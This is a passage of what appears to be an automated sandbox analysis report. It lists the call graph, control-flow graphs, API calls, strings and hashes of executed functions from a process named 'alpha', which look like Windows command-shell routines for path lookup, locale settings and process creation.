22669 7ff78cf6d5c2 22669->22651 22670 7ff78cf6d592 22672 7ff78cf53448 166 API calls 22670->22672 22671 7ff78cf6d5c4 22674 7ff78cf53448 166 API calls 22671->22674 22676 7ff78cf6d5a5 22672->22676 22673->22669 22673->22670 22673->22671 22678 7ff78cf53448 166 API calls 22673->22678 22682 7ff78cf6d555 22673->22682 22683 7ff78cf6d541 22673->22683 22685 7ff78cf6d3fc 166 API calls 22673->22685 22674->22669 22675 7ff78cf6d31c 166 API calls 22675->22669 22677 7ff78cf6d5ba 22676->22677 22680 7ff78cf53448 166 API calls 22676->22680 22681 7ff78cf6d36c 166 API calls 22677->22681 22678->22673 22679 7ff78cf6d546 22679->22671 22679->22682 22680->22677 22681->22669 22682->22675 22683->22670 22683->22671 22683->22679 22684 7ff78cf6d589 22683->22684 22684->22670 22684->22682 22685->22673 22687 7ff78cf4c4c9 22686->22687 22688 7ff78cf4c486 22686->22688 22692 7ff78cf4ff70 2 API calls 22687->22692 22693 7ff78cf4c161 22687->22693 22689 7ff78cf4c48e wcschr 22688->22689 22688->22693 22690 7ff78cf4c4ef 22689->22690 22689->22693 22691 7ff78cf4cd90 166 API calls 22690->22691 22699 7ff78cf4c4f9 22691->22699 22692->22693 22693->22301 22693->22327 22694 7ff78cf4c5bd 22695 7ff78cf4c541 22694->22695 22697 7ff78cf4b6b0 170 API calls 22694->22697 22695->22693 22696 7ff78cf4ff70 2 API calls 22695->22696 22696->22693 22697->22695 22698 7ff78cf4d840 178 API calls 22698->22699 22699->22693 22699->22694 22699->22695 22699->22698 22701 7ff78cf4b018 22700->22701 22701->22361 22702->22361 22704 7ff78cf472de 22703->22704 22705 7ff78cf64621 22703->22705 22706 7ff78cf472eb 22704->22706 22711 7ff78cf64467 22704->22711 22712 7ff78cf64530 22704->22712 22709 7ff78cf6447b longjmp 22705->22709 22713 7ff78cf64639 22705->22713 22729 7ff78cf647e0 22705->22729 22732 7ff78cf6475e 22705->22732 22764 7ff78cf47348 22706->22764 22707 7ff78cf47348 168 API calls 22763 7ff78cf64524 22707->22763 22714 7ff78cf64492 22709->22714 22711->22706 22711->22714 22723 7ff78cf64475 22711->22723 22718 7ff78cf47348 168 API calls 22712->22718 22716 7ff78cf64695 22713->22716 22725 7ff78cf6463e 22713->22725 22717 7ff78cf47348 168 API calls 22714->22717 22715 7ff78cf47315 22779 7ff78cf473d4 22715->22779 22722 7ff78cf473d4 168 API calls 22716->22722 22737 7ff78cf644a8 22717->22737 22744 7ff78cf64549 22718->22744 22719 7ff78cf472b0 168 API calls 22727 7ff78cf6480e 22719->22727 22720 7ff78cf47348 168 API calls 22720->22715 22745 7ff78cf6469a 22722->22745 22723->22709 22723->22716 22724 7ff78cf47348 168 API calls 22724->22729 22725->22709 22730 7ff78cf64654 22725->22730 22726 7ff78cf645b2 22734 7ff78cf47348 168 API calls 22726->22734 22727->22403 22728 7ff78cf47323 22728->22403 22729->22707 22738 7ff78cf47348 168 API calls 22730->22738 22731 7ff78cf6455e 22731->22726 22746 7ff78cf47348 168 API calls 22731->22746 22732->22724 22733 7ff78cf646e1 22739 7ff78cf472b0 168 API calls 22733->22739 22735 7ff78cf645c7 22734->22735 22740 7ff78cf47348 168 API calls 22735->22740 22736 7ff78cf644e2 22742 7ff78cf472b0 168 API calls 22736->22742 22737->22736 22741 7ff78cf47348 168 API calls 22737->22741 22738->22728 22743 7ff78cf64738 22739->22743 22747 7ff78cf645db 22740->22747 22741->22736 22748 7ff78cf644f1 22742->22748 22749 7ff78cf47348 168 API calls 22743->22749 22744->22726 22744->22731 22752 7ff78cf47348 168 API calls 22744->22752 22745->22733 22755 7ff78cf646c7 22745->22755 22756 7ff78cf646ea 22745->22756 22746->22726 22750 7ff78cf47348 168 API calls 22747->22750 22751 7ff78cf472b0 168 API calls 22748->22751 22749->22763 22753 7ff78cf645ec 22750->22753 22754 7ff78cf64503 22751->22754 22752->22731 22758 7ff78cf47348 168 API calls 22753->22758 22754->22728 22761 7ff78cf47348 168 API calls 22754->22761 22755->22733 22759 7ff78cf47348 168 API calls 22755->22759 22757 7ff78cf47348 168 API calls 22756->22757 22757->22733 22760 7ff78cf64600 22758->22760 22759->22733 22762 7ff78cf47348 168 API calls 22760->22762 22761->22763 22762->22763 22763->22719 22763->22728 22765 7ff78cf4735d 22764->22765 22766 7ff78cf43278 166 API calls 22765->22766 22768 7ff78cf64838 22765->22768 22778 7ff78cf473ab 22765->22778 22767 7ff78cf64820 longjmp 22766->22767 22767->22768 22769 7ff78cf43278 166 API calls 22768->22769 22770 7ff78cf64844 longjmp 22769->22770 22771 7ff78cf6485a 22770->22771 22772 7ff78cf47348 166 API calls 22771->22772 22773 7ff78cf6487b 22772->22773 22774 7ff78cf47348 166 API calls 22773->22774 22775 7ff78cf648ad 22774->22775 22776 7ff78cf47348 166 API calls 22775->22776 22777 7ff78cf472ff 22776->22777 22777->22715 22777->22720 22780 7ff78cf47401 22779->22780 22780->22728 22781 7ff78cf47348 168 API calls 22780->22781 22782 7ff78cf6487b 22781->22782 22783 7ff78cf47348 168 API calls 22782->22783 22784 7ff78cf648ad 22783->22784 22785 7ff78cf47348 168 API calls 22784->22785 22786 7ff78cf648be 22785->22786 22786->22728

                                                                                      Executed Functions

                                                                                      Function 00007FF78CF50A6C Relevance: 53.1, APIs: 23, Strings: 7, Instructions: 605COMMON
                                                                                      Download Yara Rule
                                                                                      APIs
                                                                                      Strings
                                                                                      Memory Dump Source
                                                                                      • Source File: 00000006.00000002.2147936819.00007FF78CF41000.00000020.00000001.01000000.00000004.sdmp, Offset: 00007FF78CF40000, based on PE: true
                                                                                      • Associated: 00000006.00000002.2147919441.00007FF78CF40000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                                                      • Associated: 00000006.00000002.2147967698.00007FF78CF72000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                                                      • Associated: 00000006.00000002.2147984148.00007FF78CF7D000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                                                      • Associated: 00000006.00000002.2147984148.00007FF78CF81000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                                                      • Associated: 00000006.00000002.2147984148.00007FF78CF8F000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                                                      • Associated: 00000006.00000002.2147984148.00007FF78CF94000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                                                      • Associated: 00000006.00000002.2148058581.00007FF78CF99000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                                                      Joe Sandbox IDA Plugin
                                                                                      • Snapshot File: hcaresult_6_2_7ff78cf40000_alpha.jbxd
                                                                                      Similarity
                                                                                      • API ID: _wcsicmpwcschrwcsrchr$CurrentDirectoryNeedPath_wcsnicmpmemset
                                                                                      • String ID: .BAT$.CMD$.COM;.EXE;.BAT;.CMD;.VBS;.JS;.WS;.MSC$COMSPEC$PATH$PATHEXT$cmd
                                                                                      • API String ID: 3305344409-4288247545
                                                                                      • Opcode ID: 08bac76f509f6fd3fc69dc4d9486e559aed501487721408e7d77705ceb207560
                                                                                      • Instruction ID: 4780dfe4701e76817574e1f8d0a03d68e92ba6e170cbd23e1ddcad4afe81b656
                                                                                      • Opcode Fuzzy Hash: 08bac76f509f6fd3fc69dc4d9486e559aed501487721408e7d77705ceb207560
                                                                                      • Instruction Fuzzy Hash: 2F42C723A0968286FB54AB1199142B9E7A0FF85B94FE48134EF1E877D5DF3CE645C320
                                                                                      Function 00007FF78CF4AA54 Relevance: 51.3, APIs: 24, Strings: 5, Instructions: 536COMMON
                                                                                      Download Yara Rule

                                                                                      Control-flow Graph

                                                                                      • Executed
                                                                                      • Not Executed
                                                                                      control_flow_graph 216 7ff78cf4aa54-7ff78cf4aa98 call 7ff78cf4cd90 219 7ff78cf4aa9e 216->219 220 7ff78cf5bf5a-7ff78cf5bf70 call 7ff78cf54c1c call 7ff78cf4ff70 216->220 222 7ff78cf4aaa5-7ff78cf4aaa8 219->222 224 7ff78cf4acde-7ff78cf4ad00 222->224 225 7ff78cf4aaae-7ff78cf4aac8 wcschr 222->225 229 7ff78cf4ad06 224->229 225->224 226 7ff78cf4aace-7ff78cf4aae9 towlower 225->226 226->224 228 7ff78cf4aaef-7ff78cf4aaf3 226->228 231 7ff78cf5beb7-7ff78cf5bec4 call 7ff78cf6eaf0 228->231 232 7ff78cf4aaf9-7ff78cf4aafd 228->232 233 7ff78cf4ad0d-7ff78cf4ad1f 229->233 248 7ff78cf5bf43-7ff78cf5bf59 call 7ff78cf54c1c 231->248 249 7ff78cf5bec6-7ff78cf5bed8 call 7ff78cf43240 231->249 235 7ff78cf4ab03-7ff78cf4ab07 232->235 236 7ff78cf5bbcf 232->236 237 7ff78cf4ad22-7ff78cf4ad2a call 7ff78cf513e0 233->237 239 7ff78cf4ab7d-7ff78cf4ab81 235->239 240 7ff78cf4ab09-7ff78cf4ab0d 235->240 245 7ff78cf5bbde 236->245 237->222 243 7ff78cf4ab87-7ff78cf4ab95 239->243 244 7ff78cf5be63 239->244 240->244 246 7ff78cf4ab13-7ff78cf4ab17 240->246 250 7ff78cf4ab98-7ff78cf4aba0 243->250 257 7ff78cf5be72-7ff78cf5be88 call 7ff78cf43278 call 7ff78cf54c1c 244->257 255 7ff78cf5bbea-7ff78cf5bbec 245->255 246->239 251 7ff78cf4ab19-7ff78cf4ab1d 246->251 248->220 249->248 263 7ff78cf5beda-7ff78cf5bee9 call 7ff78cf43240 249->263 250->250 254 7ff78cf4aba2-7ff78cf4abb3 call 7ff78cf4cd90 250->254 251->245 256 7ff78cf4ab23-7ff78cf4ab27 251->256 254->220 269 7ff78cf4abb9-7ff78cf4abde call 7ff78cf513e0 call 7ff78cf533a8 254->269 265 7ff78cf5bbf8-7ff78cf5bc01 255->265 256->255 261 7ff78cf4ab2d-7ff78cf4ab31 256->261 284 7ff78cf5be89-7ff78cf5be8c 257->284 261->229 266 7ff78cf4ab37-7ff78cf4ab3b 261->266 273 7ff78cf5beeb-7ff78cf5bef1 263->273 274 7ff78cf5bef3-7ff78cf5bef9 263->274 265->233 266->265 270 7ff78cf4ab41-7ff78cf4ab45 266->270 307 7ff78cf4abe4-7ff78cf4abe7 269->307 308 7ff78cf4ac75 269->308 276 7ff78cf4ab4b-7ff78cf4ab4f 270->276 277 7ff78cf5bc06-7ff78cf5bc2a call 7ff78cf513e0 270->277 273->248 273->274 274->248 279 7ff78cf5befb-7ff78cf5bf0d call 7ff78cf43240 274->279 282 7ff78cf4ab55-7ff78cf4ab78 call 7ff78cf513e0 276->282 283 7ff78cf4ad2f-7ff78cf4ad33 276->283 295 7ff78cf5bc2c-7ff78cf5bc4c _wcsnicmp 277->295 296 7ff78cf5bc5a-7ff78cf5bc61 277->296 279->248 305 7ff78cf5bf0f-7ff78cf5bf21 call 7ff78cf43240 279->305 282->222 288 7ff78cf4ad39-7ff78cf4ad3d 283->288 289 7ff78cf5bc66-7ff78cf5bc8a call 7ff78cf513e0 283->289 291 7ff78cf4acbe 284->291 292 7ff78cf5be92-7ff78cf5beaa call 7ff78cf43278 call 7ff78cf54c1c 284->292 298 7ff78cf5bcde-7ff78cf5bd02 call 7ff78cf513e0 288->298 299 7ff78cf4ad43-7ff78cf4ad49 288->299 325 7ff78cf5bc8c-7ff78cf5bcaa _wcsnicmp 289->325 326 7ff78cf5bcc4-7ff78cf5bcdc 289->326 302 7ff78cf4acc0-7ff78cf4acc7 291->302 337 7ff78cf5beab-7ff78cf5beb6 call 7ff78cf54c1c 292->337 295->296 306 7ff78cf5bc4e-7ff78cf5bc55 295->306 311 7ff78cf5bd31-7ff78cf5bd4f _wcsnicmp 296->311 331 7ff78cf5bd2a 298->331 332 7ff78cf5bd04-7ff78cf5bd24 _wcsnicmp 298->332 309 7ff78cf5bd5e-7ff78cf5bd65 299->309 310 7ff78cf4ad4f-7ff78cf4ad68 299->310 302->302 313 7ff78cf4acc9-7ff78cf4acda 302->313 305->248 339 7ff78cf5bf23-7ff78cf5bf35 call 7ff78cf43240 305->339 320 7ff78cf5bbb3-7ff78cf5bbb7 306->320 307->291 322 7ff78cf4abed-7ff78cf4ac0b call 7ff78cf4cd90 * 2 307->322 317 7ff78cf4ac77-7ff78cf4ac7f 308->317 309->310 321 7ff78cf5bd6b-7ff78cf5bd73 309->321 323 7ff78cf4ad6d-7ff78cf4ad70 310->323 324 7ff78cf4ad6a 310->324 318 7ff78cf5bd55 311->318 319 7ff78cf5bbc2-7ff78cf5bbca 311->319 313->224 317->291 328 7ff78cf4ac81-7ff78cf4ac85 317->328 318->309 319->222 333 7ff78cf5bbba-7ff78cf5bbbd call 7ff78cf513e0 320->333 334 7ff78cf5be4a-7ff78cf5be5e 321->334 335 7ff78cf5bd79-7ff78cf5bd8b iswxdigit 321->335 322->337 354 7ff78cf4ac11-7ff78cf4ac14 322->354 323->237 324->323 325->326 329 7ff78cf5bcac-7ff78cf5bcbf 325->329 326->311 340 7ff78cf4ac88-7ff78cf4ac8f 328->340 329->320 331->311 332->331 338 7ff78cf5bbac 332->338 333->319 334->333 335->334 342 7ff78cf5bd91-7ff78cf5bda3 iswxdigit 335->342 337->231 338->320 339->248 355 7ff78cf5bf37-7ff78cf5bf3e call 7ff78cf43240 339->355 340->340 345 7ff78cf4ac91-7ff78cf4ac94 340->345 342->334 347 7ff78cf5bda9-7ff78cf5bdbb iswxdigit 342->347 345->291 351 7ff78cf4ac96-7ff78cf4acaa wcsrchr 345->351 347->334 352 7ff78cf5bdc1-7ff78cf5bdd7 iswdigit 347->352 351->291 356 7ff78cf4acac-7ff78cf4acb9 call 7ff78cf51300 351->356 357 7ff78cf5bdd9-7ff78cf5bddd 352->357 358 7ff78cf5bddf-7ff78cf5bdeb towlower 352->358 354->337 360 7ff78cf4ac1a-7ff78cf4ac33 memset 354->360 355->248 356->291 359 7ff78cf5bdee-7ff78cf5be0f iswdigit 357->359 358->359 363 7ff78cf5be17-7ff78cf5be23 towlower 359->363 364 7ff78cf5be11-7ff78cf5be15 359->364 360->308 365 7ff78cf4ac35-7ff78cf4ac4b wcschr 360->365 366 7ff78cf5be26-7ff78cf5be45 call 7ff78cf513e0 363->366 364->366 365->308 367 7ff78cf4ac4d-7ff78cf4ac54 365->367 366->334 368 7ff78cf4ac5a-7ff78cf4ac6f wcschr 367->368 369 7ff78cf4ad72-7ff78cf4ad91 wcschr 367->369 368->308 368->369 371 7ff78cf4ad97-7ff78cf4adac wcschr 369->371 372 7ff78cf4af03-7ff78cf4af07 369->372 371->372 373 7ff78cf4adb2-7ff78cf4adc7 wcschr 371->373 372->308 373->372 374 7ff78cf4adcd-7ff78cf4ade2 wcschr 373->374 374->372 375 7ff78cf4ade8-7ff78cf4adfd wcschr 374->375 375->372 376 7ff78cf4ae03-7ff78cf4ae18 wcschr 375->376 376->372 377 7ff78cf4ae1e-7ff78cf4ae21 376->377 378 7ff78cf4ae24-7ff78cf4ae27 377->378 378->372 379 7ff78cf4ae2d-7ff78cf4ae40 iswspace 378->379 380 7ff78cf4ae4b-7ff78cf4ae5e 379->380 381 7ff78cf4ae42-7ff78cf4ae49 379->381 382 7ff78cf4ae66-7ff78cf4ae6d 380->382 381->378 382->382 383 7ff78cf4ae6f-7ff78cf4ae77 382->383 383->257 384 7ff78cf4ae7d-7ff78cf4ae97 call 7ff78cf513e0 383->384 387 7ff78cf4ae9a-7ff78cf4aea4 384->387 388 7ff78cf4aebc-7ff78cf4aef8 call 7ff78cf50a6c call 7ff78cf4ff70 * 2 387->388 389 7ff78cf4aea6-7ff78cf4aead 387->389 388->317 397 7ff78cf4aefe 388->397 389->388 391 7ff78cf4aeaf-7ff78cf4aeba 389->391 391->387 391->388 397->284
                                                                                      APIs
                                                                                      Strings
                                                                                      Memory Dump Source
                                                                                      • Source File: 00000006.00000002.2147936819.00007FF78CF41000.00000020.00000001.01000000.00000004.sdmp, Offset: 00007FF78CF40000, based on PE: true
                                                                                      • Associated: 00000006.00000002.2147919441.00007FF78CF40000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                                                      • Associated: 00000006.00000002.2147967698.00007FF78CF72000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                                                      • Associated: 00000006.00000002.2147984148.00007FF78CF7D000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                                                      • Associated: 00000006.00000002.2147984148.00007FF78CF81000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                                                      • Associated: 00000006.00000002.2147984148.00007FF78CF8F000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                                                      • Associated: 00000006.00000002.2147984148.00007FF78CF94000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                                                      • Associated: 00000006.00000002.2148058581.00007FF78CF99000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                                                      Joe Sandbox IDA Plugin
                                                                                      • Snapshot File: hcaresult_6_2_7ff78cf40000_alpha.jbxd
                                                                                      Similarity
                                                                                      • API ID: wcschr$Heap$AllocProcessiswspacememsettowlowerwcsrchr
                                                                                      • String ID: :$:$:$:ON$OFF
                                                                                      • API String ID: 972821348-467788257
                                                                                      • Opcode ID: 4f886329839ce9d73f83e73040c14b409f6776bafd90df2433360a667a1c5ce6
                                                                                      • Instruction ID: 3f75ec3b2bc026ac8534673826e6863eddbf99a0b64004c7d771824ad334b88b
                                                                                      • Opcode Fuzzy Hash: 4f886329839ce9d73f83e73040c14b409f6776bafd90df2433360a667a1c5ce6
                                                                                      • Instruction Fuzzy Hash: 7322A023A0868386FB64BF2595142B9E6A1FF49B80FE8D135DB0E4B794DF3CA544C364
                                                                                      Function 00007FF78CF551EC Relevance: 45.9, APIs: 15, Strings: 11, Instructions: 384COMMON
                                                                                      Download Yara Rule

                                                                                      Control-flow Graph

                                                                                      • Executed
                                                                                      • Not Executed
                                                                                      control_flow_graph 398 7ff78cf551ec-7ff78cf55248 call 7ff78cf55508 GetLocaleInfoW 401 7ff78cf5524e-7ff78cf55272 GetLocaleInfoW 398->401 402 7ff78cf5ef32-7ff78cf5ef3c 398->402 404 7ff78cf55274-7ff78cf5527a 401->404 405 7ff78cf55295-7ff78cf552b9 GetLocaleInfoW 401->405 403 7ff78cf5ef3f-7ff78cf5ef49 402->403 410 7ff78cf5ef4b-7ff78cf5ef52 403->410 411 7ff78cf5ef61-7ff78cf5ef6c 403->411 406 7ff78cf554f7-7ff78cf554f9 404->406 407 7ff78cf55280-7ff78cf55286 404->407 408 7ff78cf552bb-7ff78cf552c3 405->408 409 7ff78cf552de-7ff78cf55305 GetLocaleInfoW 405->409 406->402 407->406 412 7ff78cf5528c-7ff78cf5528f 407->412 413 7ff78cf552c9-7ff78cf552d7 408->413 414 7ff78cf5ef75-7ff78cf5ef78 408->414 415 7ff78cf55307-7ff78cf5531b 409->415 416 7ff78cf55321-7ff78cf55343 GetLocaleInfoW 409->416 410->411 417 7ff78cf5ef54-7ff78cf5ef5f 410->417 411->414 412->405 413->409 420 7ff78cf5ef7a-7ff78cf5ef7d 414->420 421 7ff78cf5ef99-7ff78cf5efa3 414->421 415->416 418 7ff78cf55349-7ff78cf5536e GetLocaleInfoW 416->418 419 7ff78cf5efaf-7ff78cf5efb9 416->419 417->403 417->411 423 7ff78cf55374-7ff78cf55396 GetLocaleInfoW 418->423 424 7ff78cf5eff2-7ff78cf5effc 418->424 422 7ff78cf5efbc-7ff78cf5efc6 419->422 420->409 425 7ff78cf5ef83-7ff78cf5ef8d 420->425 421->419 426 7ff78cf5efde-7ff78cf5efe9 422->426 427 7ff78cf5efc8-7ff78cf5efcf 422->427 429 7ff78cf5539c-7ff78cf553be GetLocaleInfoW 423->429 430 7ff78cf5f035-7ff78cf5f03f 423->430 428 7ff78cf5efff-7ff78cf5f009 424->428 425->421 426->424 427->426 431 7ff78cf5efd1-7ff78cf5efdc 427->431 432 7ff78cf5f00b-7ff78cf5f012 428->432 433 7ff78cf5f021-7ff78cf5f02c 428->433 434 7ff78cf5f078-7ff78cf5f082 429->434 435 7ff78cf553c4-7ff78cf553e6 GetLocaleInfoW 429->435 436 7ff78cf5f042-7ff78cf5f04c 430->436 431->422 431->426 432->433 440 7ff78cf5f014-7ff78cf5f01f 432->440 433->430 439 7ff78cf5f085-7ff78cf5f08f 434->439 441 7ff78cf5f0bb-7ff78cf5f0c5 435->441 442 7ff78cf553ec-7ff78cf5540e GetLocaleInfoW 435->442 437 7ff78cf5f04e-7ff78cf5f055 436->437 438 7ff78cf5f064-7ff78cf5f06f 436->438 437->438 443 7ff78cf5f057-7ff78cf5f062 437->443 438->434 444 7ff78cf5f0a7-7ff78cf5f0b2 439->444 445 7ff78cf5f091-7ff78cf5f098 439->445 440->428 440->433 446 7ff78cf5f0c8-7ff78cf5f0d2 441->446 447 7ff78cf5f0fe-7ff78cf5f108 442->447 448 7ff78cf55414-7ff78cf55436 GetLocaleInfoW 442->448 443->436 443->438 444->441 445->444 450 7ff78cf5f09a-7ff78cf5f0a5 445->450 451 7ff78cf5f0ea-7ff78cf5f0f5 446->451 452 7ff78cf5f0d4-7ff78cf5f0db 446->452 449 7ff78cf5f10b-7ff78cf5f115 447->449 453 7ff78cf5543c-7ff78cf5545e GetLocaleInfoW 448->453 454 7ff78cf5f141-7ff78cf5f14b 448->454 455 7ff78cf5f12d-7ff78cf5f138 449->455 456 7ff78cf5f117-7ff78cf5f11e 449->456 450->439 450->444 451->447 452->451 458 7ff78cf5f0dd-7ff78cf5f0e8 452->458 459 7ff78cf5f184-7ff78cf5f18b 453->459 460 7ff78cf55464-7ff78cf55486 GetLocaleInfoW 453->460 457 7ff78cf5f14e-7ff78cf5f158 454->457 455->454 456->455 463 7ff78cf5f120-7ff78cf5f12b 456->463 464 7ff78cf5f15a-7ff78cf5f161 457->464 465 7ff78cf5f170-7ff78cf5f17b 457->465 458->446 458->451 466 7ff78cf5f18e-7ff78cf5f198 459->466 461 7ff78cf5548c-7ff78cf554ae GetLocaleInfoW 460->461 462 7ff78cf5f1c4-7ff78cf5f1ce 460->462 467 7ff78cf5f207-7ff78cf5f20e 461->467 468 7ff78cf554b4-7ff78cf554f5 setlocale call 7ff78cf58f80 461->468 469 7ff78cf5f1d1-7ff78cf5f1db 462->469 463->449 463->455 464->465 470 7ff78cf5f163-7ff78cf5f16e 464->470 465->459 471 7ff78cf5f19a-7ff78cf5f1a1 466->471 472 7ff78cf5f1b0-7ff78cf5f1bb 466->472 476 7ff78cf5f211-7ff78cf5f21b 467->476 474 7ff78cf5f1dd-7ff78cf5f1e4 469->474 475 7ff78cf5f1f3-7ff78cf5f1fe 469->475 470->457 470->465 471->472 477 7ff78cf5f1a3-7ff78cf5f1ae 471->477 472->462 474->475 479 7ff78cf5f1e6-7ff78cf5f1f1 474->479 475->467 480 7ff78cf5f21d-7ff78cf5f224 476->480 481 7ff78cf5f233-7ff78cf5f23e 476->481 477->466 477->472 479->469 479->475 480->481 482 7ff78cf5f226-7ff78cf5f231 480->482 482->476 482->481
                                                                                      APIs
                                                                                      Strings
                                                                                      Memory Dump Source
                                                                                      • Source File: 00000006.00000002.2147936819.00007FF78CF41000.00000020.00000001.01000000.00000004.sdmp, Offset: 00007FF78CF40000, based on PE: true
                                                                                      • Associated: 00000006.00000002.2147919441.00007FF78CF40000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                                                      • Associated: 00000006.00000002.2147967698.00007FF78CF72000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                                                      • Associated: 00000006.00000002.2147984148.00007FF78CF7D000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                                                      • Associated: 00000006.00000002.2147984148.00007FF78CF81000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                                                      • Associated: 00000006.00000002.2147984148.00007FF78CF8F000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                                                      • Associated: 00000006.00000002.2147984148.00007FF78CF94000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                                                      • Associated: 00000006.00000002.2148058581.00007FF78CF99000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                                                      Joe Sandbox IDA Plugin
                                                                                      • Snapshot File: hcaresult_6_2_7ff78cf40000_alpha.jbxd
                                                                                      Similarity
                                                                                      • API ID: InfoLocale$DefaultUsersetlocale
                                                                                      • String ID: .OCP$Fri$MM/dd/yy$Mon$Sat$Sun$Thu$Tue$Wed$dd/MM/yy$yy/MM/dd
                                                                                      • API String ID: 1351325837-2236139042
                                                                                      • Opcode ID: 2a4578c534326ca189a6d67b8d7d5f73ffb3ac0fc7df7dd3f0f26b29881ec2ab
                                                                                      • Instruction ID: 366993932a13780f24b4045d3f1690255aed227f5e86bfd8296c2cb5f01da02b
                                                                                      • Opcode Fuzzy Hash: 2a4578c534326ca189a6d67b8d7d5f73ffb3ac0fc7df7dd3f0f26b29881ec2ab
                                                                                      • Instruction Fuzzy Hash: 75F13A67B0878296FB11AF11D9112B9A6A5FF04B80FE54135DB0D977A4EF3CE60AC360
                                                                                      Function 00007FF78CF54224 Relevance: 45.8, APIs: 19, Strings: 7, Instructions: 328threadprocessstringCOMMON
                                                                                      Download Yara Rule

                                                                                      Control-flow Graph

                                                                                      • Executed
                                                                                      • Not Executed
                                                                                      control_flow_graph 483 7ff78cf54224-7ff78cf542a5 InitializeProcThreadAttributeList 484 7ff78cf542ab-7ff78cf542e5 UpdateProcThreadAttribute 483->484 485 7ff78cf5ecd4-7ff78cf5ecee GetLastError call 7ff78cf69eec 483->485 487 7ff78cf542eb-7ff78cf543c6 memset * 2 GetStartupInfoW call 7ff78cf53a90 call 7ff78cf4b900 484->487 488 7ff78cf5ecf0-7ff78cf5ed19 GetLastError call 7ff78cf69eec DeleteProcThreadAttributeList 484->488 492 7ff78cf5ed1e 485->492 497 7ff78cf543cc-7ff78cf543d3 487->497 498 7ff78cf54638-7ff78cf54644 _local_unwind 487->498 488->492 499 7ff78cf54649-7ff78cf54650 497->499 500 7ff78cf543d9-7ff78cf543dc 497->500 498->499 499->500 501 7ff78cf54656-7ff78cf5465d 499->501 502 7ff78cf543de-7ff78cf543f5 wcsrchr 500->502 503 7ff78cf54415-7ff78cf54424 call 7ff78cf55a68 500->503 501->503 505 7ff78cf54663 501->505 502->503 504 7ff78cf543f7-7ff78cf5440f lstrcmpW 502->504 510 7ff78cf54589-7ff78cf54590 503->510 511 7ff78cf5442a-7ff78cf54486 CreateProcessW 503->511 504->503 507 7ff78cf54668-7ff78cf5466d call 7ff78cf69044 504->507 505->500 507->503 510->511 514 7ff78cf54596-7ff78cf545fa CreateProcessAsUserW 510->514 513 7ff78cf5448b-7ff78cf5448f 511->513 515 7ff78cf54495-7ff78cf544c7 CloseHandle call 7ff78cf5498c 513->515 516 7ff78cf54672-7ff78cf54682 GetLastError 513->516 514->513 519 7ff78cf5468d-7ff78cf54694 515->519 520 7ff78cf544cd-7ff78cf544e5 515->520 516->519 521 7ff78cf54696-7ff78cf546a0 519->521 522 7ff78cf546a2-7ff78cf546ac 519->522 523 7ff78cf544eb-7ff78cf544f2 520->523 524 7ff78cf547a3-7ff78cf547a9 520->524 521->522 525 7ff78cf546ae-7ff78cf546b5 call 7ff78cf597bc 521->525 522->525 526 7ff78cf54705-7ff78cf54707 522->526 528 7ff78cf544f8-7ff78cf54507 523->528 529 7ff78cf545ff-7ff78cf54607 523->529 541 7ff78cf546b7-7ff78cf54701 call 7ff78cf9c038 525->541 542 7ff78cf54703 525->542 526->520 527 7ff78cf5470d-7ff78cf5472a call 7ff78cf4cd90 526->527 543 7ff78cf5472c-7ff78cf54738 _local_unwind 527->543 544 7ff78cf5473d-7ff78cf54767 call 7ff78cf513e0 call 7ff78cf69eec call 7ff78cf4ff70 _local_unwind 527->544 532 7ff78cf5450d-7ff78cf54553 call 7ff78cf55cb4 call 7ff78cf533f0 call 7ff78cf5498c 528->532 533 7ff78cf54612-7ff78cf54616 528->533 529->528 534 7ff78cf5460d 529->534 564 7ff78cf54558-7ff78cf5455e 532->564 539 7ff78cf5461c-7ff78cf54633 533->539 540 7ff78cf547d7-7ff78cf547df 533->540 538 7ff78cf5476c-7ff78cf54773 534->538 538->528 548 7ff78cf54779-7ff78cf54780 538->548 546 7ff78cf547f2-7ff78cf5483c call 7ff78cf4ff70 DeleteProcThreadAttributeList call 7ff78cf58f80 539->546 545 7ff78cf547e1-7ff78cf547ed CloseHandle 540->545 540->546 541->526 542->526 543->544 544->538 545->546 548->528 550 7ff78cf54786-7ff78cf54789 548->550 550->528 556 7ff78cf5478f-7ff78cf54792 550->556 556->524 560 7ff78cf54794-7ff78cf5479d call 7ff78cf6a250 556->560 560->524 560->528 567 7ff78cf547ae-7ff78cf547ca call 7ff78cf533f0 564->567 568 7ff78cf54564-7ff78cf54579 call 7ff78cf5498c 564->568 567->540 568->546 576 7ff78cf5457f-7ff78cf54584 call 7ff78cf6a920 568->576 576->546
                                                                                      APIs
                                                                                      Strings
                                                                                      Memory Dump Source
                                                                                      • Source File: 00000006.00000002.2147936819.00007FF78CF41000.00000020.00000001.01000000.00000004.sdmp, Offset: 00007FF78CF40000, based on PE: true
                                                                                      • Associated: 00000006.00000002.2147919441.00007FF78CF40000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                                                      • Associated: 00000006.00000002.2147967698.00007FF78CF72000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                                                      • Associated: 00000006.00000002.2147984148.00007FF78CF7D000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                                                      • Associated: 00000006.00000002.2147984148.00007FF78CF81000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                                                      • Associated: 00000006.00000002.2147984148.00007FF78CF8F000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                                                      • Associated: 00000006.00000002.2147984148.00007FF78CF94000.00000004.00000001.01000000.00000004.sdmpDownload File
